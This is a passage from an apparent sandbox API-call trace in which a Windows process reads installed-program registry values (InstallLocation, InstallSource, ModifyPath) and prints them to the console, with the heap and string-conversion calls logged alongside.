MemoryPointer=0x3df290) returned 0x16 [0150.997] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.997] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.997] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.997] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.997] __iob_func () returned 0x7fefd702a80 [0150.997] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.997] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.997] _fileno (_File=0x7fefd702ab0) returned 1 [0150.997] _errno () returned 0x204bb0 [0150.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.997] _errno () returned 0x204bb0 [0150.997] GetFileType (hFile=0x50) returned 0x1 [0150.998] lstrlenW (lpString=" ") returned 4 [0150.998] GetConsoleOutputCP () returned 0x1b5 [0150.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.998] GetConsoleOutputCP () returned 0x1b5 [0150.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.998] lstrlenW (lpString="InstallLocation") returned 15 [0150.998] __iob_func () returned 0x7fefd702a80 [0150.998] _fileno (_File=0x7fefd702ab0) returned 1 [0150.998] _errno () returned 0x204bb0 [0150.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.998] _errno () returned 0x204bb0 [0150.998] GetFileType (hFile=0x50) returned 0x1 [0150.998] lstrlenW (lpString="InstallLocation") returned 15 [0150.998] GetConsoleOutputCP () returned 0x1b5 [0150.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.998] GetConsoleOutputCP () returned 0x1b5 [0150.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.999] __iob_func () returned 0x7fefd702a80 [0150.999] _fileno (_File=0x7fefd702ab0) returned 1 [0150.999] _errno () returned 0x204bb0 [0150.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.999] _errno () returned 0x204bb0 [0150.999] GetFileType (hFile=0x50) returned 0x1 [0150.999] lstrlenW (lpString=" ") returned 4 [0150.999] GetConsoleOutputCP () returned 0x1b5 [0150.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.999] GetConsoleOutputCP () returned 0x1b5 [0150.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.999] __iob_func () returned 0x7fefd702a80 [0150.999] _fileno (_File=0x7fefd702ab0) returned 1 [0150.999] _errno () returned 0x204bb0 [0150.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.999] _errno () returned 0x204bb0 [0150.999] GetFileType (hFile=0x50) returned 0x1 [0150.999] lstrlenW (lpString="REG_SZ") returned 6 [0150.999] GetConsoleOutputCP () returned 0x1b5 [0150.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.999] GetConsoleOutputCP () returned 0x1b5 [0150.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.000] __iob_func () returned 0x7fefd702a80 [0151.000] _fileno (_File=0x7fefd702ab0) returned 1 [0151.000] _errno () returned 0x204bb0 [0151.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.000] _errno () returned 0x204bb0 [0151.000] GetFileType (hFile=0x50) returned 0x1 [0151.000] lstrlenW (lpString=" ") returned 4 [0151.000] GetConsoleOutputCP () returned 0x1b5 [0151.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.000] GetConsoleOutputCP () returned 0x1b5 [0151.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.000] __iob_func () returned 0x7fefd702a80 [0151.000] _fileno (_File=0x7fefd702ab0) returned 1 [0151.000] _errno () returned 0x204bb0 [0151.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.000] _errno () returned 0x204bb0 [0151.000] GetFileType (hFile=0x50) returned 0x1 [0151.000] lstrlenW (lpString="") returned 0 [0151.000] __iob_func () returned 0x7fefd702a80 [0151.000] _fileno (_File=0x7fefd702ab0) returned 1 [0151.000] _errno () returned 0x204bb0 [0151.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.001] _errno () returned 0x204bb0 [0151.001] GetFileType (hFile=0x50) returned 0x1 [0151.001] lstrlenW (lpString="\n") returned 1 [0151.001] GetConsoleOutputCP () returned 0x1b5 [0151.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.001] GetConsoleOutputCP () returned 0x1b5 [0151.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.001] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.001] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.001] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x34) returned 0x0 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x36) returned 0x3d78d0 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.001] GetProcessHeap () returned 0x3c0000 [0151.001] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x36 [0151.001] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x34 | out: pdwType=0x29f700*=0x1, pvData="c:\\695fbbc389830707c2f7\\", pcbData=0x29f780*=0x32) returned 0x0 [0151.001] __iob_func () returned 0x7fefd702a80 [0151.001] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.002] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.002] _fileno (_File=0x7fefd702ab0) returned 1 [0151.002] _errno () returned 0x204bb0 [0151.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.002] _errno () returned 0x204bb0 [0151.002] GetFileType (hFile=0x50) returned 0x1 [0151.002] lstrlenW (lpString=" ") returned 4 [0151.002] GetConsoleOutputCP () returned 0x1b5 [0151.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.002] GetConsoleOutputCP () returned 0x1b5 [0151.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.002] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.002] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.002] lstrlenW (lpString="InstallSource") returned 13 [0151.002] __iob_func () returned 0x7fefd702a80 [0151.002] _fileno (_File=0x7fefd702ab0) returned 1 [0151.002] _errno () returned 0x204bb0 [0151.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.002] _errno () returned 0x204bb0 [0151.002] GetFileType (hFile=0x50) returned 0x1 [0151.002] lstrlenW (lpString="InstallSource") returned 13 [0151.002] GetConsoleOutputCP () returned 0x1b5 [0151.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.002] GetConsoleOutputCP () returned 0x1b5 [0151.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0151.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.003] __iob_func () returned 0x7fefd702a80 [0151.003] _fileno (_File=0x7fefd702ab0) returned 1 [0151.003] _errno () returned 0x204bb0 [0151.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.003] _errno () returned 0x204bb0 [0151.003] GetFileType (hFile=0x50) returned 0x1 [0151.003] lstrlenW (lpString=" ") returned 4 [0151.003] GetConsoleOutputCP () returned 0x1b5 [0151.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.003] GetConsoleOutputCP () returned 0x1b5 [0151.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.003] __iob_func () returned 0x7fefd702a80 [0151.003] _fileno (_File=0x7fefd702ab0) returned 1 [0151.003] _errno () returned 0x204bb0 [0151.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.003] _errno () returned 0x204bb0 [0151.003] GetFileType (hFile=0x50) returned 0x1 [0151.003] lstrlenW (lpString="REG_SZ") returned 6 [0151.003] GetConsoleOutputCP () returned 0x1b5 [0151.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.004] GetConsoleOutputCP () returned 0x1b5 [0151.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.004] __iob_func () returned 0x7fefd702a80 [0151.004] _fileno (_File=0x7fefd702ab0) returned 1 [0151.004] _errno () returned 0x204bb0 [0151.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.004] _errno () returned 0x204bb0 [0151.004] GetFileType (hFile=0x50) returned 0x1 [0151.004] lstrlenW (lpString=" ") returned 4 [0151.004] GetConsoleOutputCP () returned 0x1b5 [0151.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.004] GetConsoleOutputCP () returned 0x1b5 [0151.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.004] __iob_func () returned 0x7fefd702a80 [0151.004] _fileno (_File=0x7fefd702ab0) returned 1 [0151.004] _errno () returned 0x204bb0 [0151.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.004] _errno () returned 0x204bb0 [0151.004] GetFileType (hFile=0x50) returned 0x1 [0151.004] lstrlenW (lpString="c:\\695fbbc389830707c2f7\\") returned 24 [0151.004] GetConsoleOutputCP () returned 0x1b5 [0151.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\695fbbc389830707c2f7\\", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0151.005] GetConsoleOutputCP () returned 0x1b5 [0151.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\695fbbc389830707c2f7\\", cchWideChar=24, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\695fbbc389830707c2f7\\", lpUsedDefaultChar=0x0) returned 24 [0151.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 24 [0151.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.005] __iob_func () returned 0x7fefd702a80 [0151.005] _fileno (_File=0x7fefd702ab0) returned 1 [0151.005] _errno () returned 0x204bb0 [0151.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.005] _errno () returned 0x204bb0 [0151.005] GetFileType (hFile=0x50) returned 0x1 [0151.005] lstrlenW (lpString="\n") returned 1 [0151.005] GetConsoleOutputCP () returned 0x1b5 [0151.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.005] GetConsoleOutputCP () returned 0x1b5 [0151.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.005] GetProcessHeap () returned 0x3c0000 [0151.005] GetProcessHeap () returned 0x3c0000 [0151.005] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.005] GetProcessHeap () returned 0x3c0000 [0151.005] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x36 [0151.006] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0151.006] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.006] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0151.006] GetProcessHeap () returned 0x3c0000 [0151.006] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0151.006] GetProcessHeap () returned 0x3c0000 [0151.006] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.006] GetProcessHeap () returned 0x3c0000 [0151.006] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.006] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", pcbData=0x29f780*=0x6a) returned 0x0 [0151.006] __iob_func () returned 0x7fefd702a80 [0151.006] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.006] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.006] _fileno (_File=0x7fefd702ab0) returned 1 [0151.006] _errno () returned 0x204bb0 [0151.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.006] _errno () returned 0x204bb0 [0151.006] GetFileType (hFile=0x50) returned 0x1 [0151.006] lstrlenW (lpString=" ") returned 4 [0151.006] GetConsoleOutputCP () returned 0x1b5 [0151.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.006] GetConsoleOutputCP () returned 0x1b5 [0151.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.006] lstrlenW (lpString="ModifyPath") returned 10 [0151.006] __iob_func () returned 0x7fefd702a80 [0151.007] _fileno (_File=0x7fefd702ab0) returned 1 [0151.007] _errno () returned 0x204bb0 [0151.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.007] _errno () returned 0x204bb0 [0151.007] GetFileType (hFile=0x50) returned 0x1 [0151.007] lstrlenW (lpString="ModifyPath") returned 10 [0151.007] GetConsoleOutputCP () returned 0x1b5 [0151.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0151.007] GetConsoleOutputCP () returned 0x1b5 [0151.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0151.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0151.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.007] __iob_func () returned 0x7fefd702a80 [0151.007] _fileno (_File=0x7fefd702ab0) returned 1 [0151.007] _errno () returned 0x204bb0 [0151.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.007] _errno () returned 0x204bb0 [0151.007] GetFileType (hFile=0x50) returned 0x1 [0151.007] lstrlenW (lpString=" ") returned 4 [0151.007] GetConsoleOutputCP () returned 0x1b5 [0151.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.007] GetConsoleOutputCP () returned 0x1b5 [0151.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.008] __iob_func () returned 0x7fefd702a80 [0151.008] _fileno (_File=0x7fefd702ab0) returned 1 [0151.008] _errno () returned 0x204bb0 [0151.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.008] _errno () returned 0x204bb0 [0151.008] GetFileType (hFile=0x50) returned 0x1 [0151.008] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0151.008] GetConsoleOutputCP () returned 0x1b5 [0151.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.008] GetConsoleOutputCP () returned 0x1b5 [0151.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0151.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.008] __iob_func () returned 0x7fefd702a80 [0151.008] _fileno (_File=0x7fefd702ab0) returned 1 [0151.008] _errno () returned 0x204bb0 [0151.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.008] _errno () returned 0x204bb0 [0151.008] GetFileType (hFile=0x50) returned 0x1 [0151.008] lstrlenW (lpString=" ") returned 4 [0151.008] GetConsoleOutputCP () returned 0x1b5 [0151.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.008] GetConsoleOutputCP () returned 0x1b5 [0151.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 